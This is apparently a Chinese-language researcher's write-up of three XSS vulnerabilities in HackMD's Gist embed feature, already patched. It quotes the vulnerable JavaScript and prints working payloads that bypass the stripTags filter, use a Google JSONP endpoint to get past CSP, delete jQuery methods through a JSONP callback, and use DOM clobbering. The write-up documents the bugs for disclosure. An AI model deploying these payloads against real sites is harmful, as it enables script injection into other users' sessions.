HackMD XSS, Again

這次又找到了 HackMD XSS,主要是和 Gist 方面沒處理好導致的。

至於為什麼是呢? 一方面是我去年有找到兩個 HackMD XSS,另外是 Gist 的 XSS 在更早以前也出現過了,不過在多個版本更新之後又出現了 XSS。

不過這次最特別的是我在 HackMD 團隊修復後還是有找到方法 bypass 它的 filter,在一樣的地方再拿一個 XSS。後來回顧時還發現到了一個先前沒找到的 XSS,所以這篇文章一共有三個 HackMD XSS。

最初的 XSS

觸發點是這個地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
e.find("code[data-gist-id]").filter(n).each((function(e, t) {
if (0 === I(t).children().length) {
var n = t.getAttribute("data-gist-id");
t.setAttribute("data-gist-id", h()(n).stripTags().s);
var r = t.getAttribute("data-gist-file");
r && t.setAttribute("data-gist-file", h()(r).stripTags().s);
var i = t.getAttribute("data-gist-line");
i && t.setAttribute("data-gist-line", h()(i).stripTags().s);
var a = t.getAttribute("data-gist-highlight-line");
a && t.setAttribute("data-gist-highlight-line", h()(a).stripTags().s);
var o = t.getAttribute("data-gist-show-loading");
o && t.setAttribute("data-gist-show-loading", h()(o).stripTags().s),
I(t).gist((function() {
setTimeout(window.viewAjaxCallback, 200)
}
))
}
}
))

其中的 I 是 jQuery,所以可以找 $.fn.gist 的 code 來看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
a.fn.gist = function(c) {
return this.each(function() {
var e, f, g, h, i, j, k, l, m, n, d = a(this), o = {};
return d.css("display", "block"),
e = d.data("gist-id") || "",
g = d.data("gist-file"),
k = d.data("gist-hide-footer") === !0,
l = d.data("gist-hide-line-numbers") === !0,
h = d.data("gist-line"),
j = d.data("gist-highlight-line"),
n = d.data("gist-show-spinner") === !0,
m = n ? !1 : void 0 !== d.data("gist-show-loading") ? d.data("gist-show-loading") : !0,
g && (o.file = g),
e ? (f = "https://gist.github.com/" + e + ".json",
i = "Loading gist " + f + (o.file ? ", file: " + o.file : "") + "...",
m && d.html(i),
n && d.html('<img style="display:block;margin-left:auto;margin-right:auto" alt="' + i + '" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif">'),
void a.ajax({
url: f,
data: o,
dataType: "jsonp",
timeout: 2e4,
success: function(c) {
var e, g, i, m, n;
c && c.div ? (c.stylesheet && (0 === c.stylesheet.indexOf("<link") ? c.stylesheet = c.stylesheet.replace(/\\/g, "").match(/href=\"([^\s]*)\"/)[1] : 0 !== c.stylesheet.indexOf("http") && (0 !== c.stylesheet.indexOf("/") && (c.stylesheet = "/" + c.stylesheet),
c.stylesheet = "https://gist.github.com" + c.stylesheet)),
c.stylesheet && 0 === a('link[href="' + c.stylesheet + '"]').length && (e = document.createElement("link"),
g = document.getElementsByTagName("head")[0],
e.type = "text/css",
e.rel = "stylesheet",
e.href = c.stylesheet,
g.insertBefore(e, g.firstChild)),
n = a(c.div),
n.removeAttr("id"),
d.html("").append(n),
j && (m = b(j),
n.find("td.line-data").css({
width: "100%"
}),
n.find(".js-file-line").each(function(b) {
-1 !== a.inArray(b + 1, m) && a(this).css({
"background-color": "rgb(255, 255, 204)"
})
})),
h && (i = b(h),
n.find(".js-file-line").each(function(b) {
-1 === a.inArray(b + 1, i) && a(this).parent().remove()
})),
k && (n.find(".gist-meta").remove(),
n.find(".gist-data").css("border-bottom", "0px"),
n.find(".gist-file").css("border-bottom", "1px solid #ddd")),
l && n.find(".js-line-number").remove()) : d.html("Failed loading gist " + f)
},
error: function(a, b) {
d.html("Failed loading gist " + f + ": " + b)
},
complete: function() {
"function" == typeof c && c()
}
})) : !1
})
}

顯然,裡面有各種字串拼接 html 的操作,所以應該可以有 XSS。然而 data-gist-id 在前面會被 stripTags 過濾,所以要看看它是怎麼做的:

1
2
3
4
5
6
7
8
9
10
11
12
stripTags: function() {
if (!this.s)
return new this.constructor(this.s);
var e = this.s
, t = arguments.length > 0 ? arguments : [""];
function n(t) {
var r = RegExp("</?" + t + "[^<>]*>", "gi");
e = e.replace(r, "")
}
return m(t, n),
new this.constructor(e)
},

這邊 t 部分因為呼叫時沒有給參數,所以會是預設的那個 [""],因此它相當於 e.replace(/<\/?[^<>]*>/gi, ""),所以 <<x>script> 就能繞過了,之後就想辦法讓它觸發 error callback 的 d.html("Failed loading gist " + f + ": " + b) 就行了。

因此全部湊起來再結合 Google jsonp CSP bypass 就能得到:

1
<code data-gist-id='PEKO<<x>script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//"></<x>script>MIKO'></code>

修正後再一次 XSS

修過之後我看了一下它的改動,只有把 stripTags 的部分修正了一下而已:

1
2
3
4
5
6
7
8
9
10
11
12
stripTags: function() {
if (!this.s)
return new this.constructor(this.s);
var e = this.s
, t = arguments.length > 0 ? arguments : [""];
function n(t) {
var r = RegExp("</?" + t + "[^<>]*>", "gi");
(e = e.replace(r, "")).match(r) && n(t)
}
return m(t, n),
new this.constructor(e)
},

基本上是 replace 一樣的東西,但是這次還會 recursive 的把 html tag 移除掉,所以 <<x>script> 這種繞法是沒用的。不過由於它有 match >,所以 <script 這種沒閉合的 tag 是不會被移除的。

在不能用 > 的情況下從 cheat sheet 上查可知有 <svg onload=alert()// 之類的 payload,不過這邊一個是因為 CSP 所以不能用,另一個是它 html 注入的地方是使用 jQuery $.fn.html 去做的,裡面會 assign html 給 innerHTML。而瀏覽器在 assign html 給 innerHTML 時我發現如果只有 < 存在而沒有 > 的話,< 之後的所有 payload 都會整個消失不見,所以這樣是沒辦法的。

我這邊的想法是換一個注入點,就是 img 的那個地方:

1
n && d.html('<img style="display:block;margin-left:auto;margin-right:auto"  alt="' + i + '" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif">'),

前面可以很簡單的把 img 結束掉,後面又有 > 的存在,所以只有 < 的話可以用 iframe srcdoc 去搞事。不過這邊有個困難點是 srcdoc 裡面還是要 bypass CSP,因此它一樣要用 Google jsonp CSP bypass,但同時它又有個呼叫 Gist 的 ajax,無論是 success 還是 error 都會呼叫 d.html(...),iframe 還在載入中的 Google jsonp 覆蓋過去,所以沒辦法 XSS。

這邊我的想法是能不能讓它憑空生一個 error,讓它不會執行到 d.html(...),這樣才有足夠的時間能載入 jsonp。而這邊我的答案就是在 Gist callback 利用我之前在 HITCON CTF 2022 - Secure Paste 用的那個 jsonp delete 技巧 (實際上真正的來源應該是這個),用 delete[jQuery.fn][0].html 就能把 $.fn.html 刪掉,這樣就能讓它產生 error 了,所以就有足夠的時間讓 Google jsonp 載入得到 XSS。

最後的 payload 就是:

1
<code data-gist-show-spinner="true" data-gist-id='maple3142/84ce16496ac08379f9df973c0566822c.json?callback=[delete[jQuery.fn][0].html]#"><iframe srcdoc="&amp;lt&semi;script src&amp;equals&semi;&amp;quot&semi;https&amp;colon&semi;&amp;sol&semi;&amp;sol&semi;www&amp;period&semi;google&amp;period&semi;com&amp;sol&semi;complete&amp;sol&semi;search&amp;quest&semi;client&amp;equals&semi;chrome&amp;amp&semi;q&amp;equals&semi;123&amp;amp&semi;jsonp&amp;equals&semi;alert&amp;lpar&semi;document&amp;period&semi;domain&amp;rpar&semi;&amp;sol&semi;&amp;sol&semi;&amp;quot&semi;MIKO&amp;apos&semi;&amp;gt&semi;&amp;lt&semi;&amp;sol&semi;script&amp;gt&semi;"'></code>

XSS, Again

最後有個我原本沒注意到的點,就是 setTimeout(window.viewAjaxCallback, 200) 這個地方。原本 window.viewAjaxCallback 是有個函數存在的,但我們從上面知道可以用 jsonp callback 去 delete 某個東西,所以用 delete[window][0].viewAjaxCallback 就能把它刪掉。

接下來因為 setTimeout 的第一個參數其實也能接受 string,所以有機會用 DOM clobbering 去蓋掉 window.viewAjaxCallback 的值達成 XSS:

1
2
<a id="viewAjaxCallback" href="cid:alert()"></a>
<code data-gist-id='maple3142/84ce16496ac08379f9df973c0566822c.json?callback=[delete[window][0].viewAjaxCallback]#'></code>

不過這個部分和上一個 XSS 一起在 1.56.0 版本修好了,所以也沒有另外回報。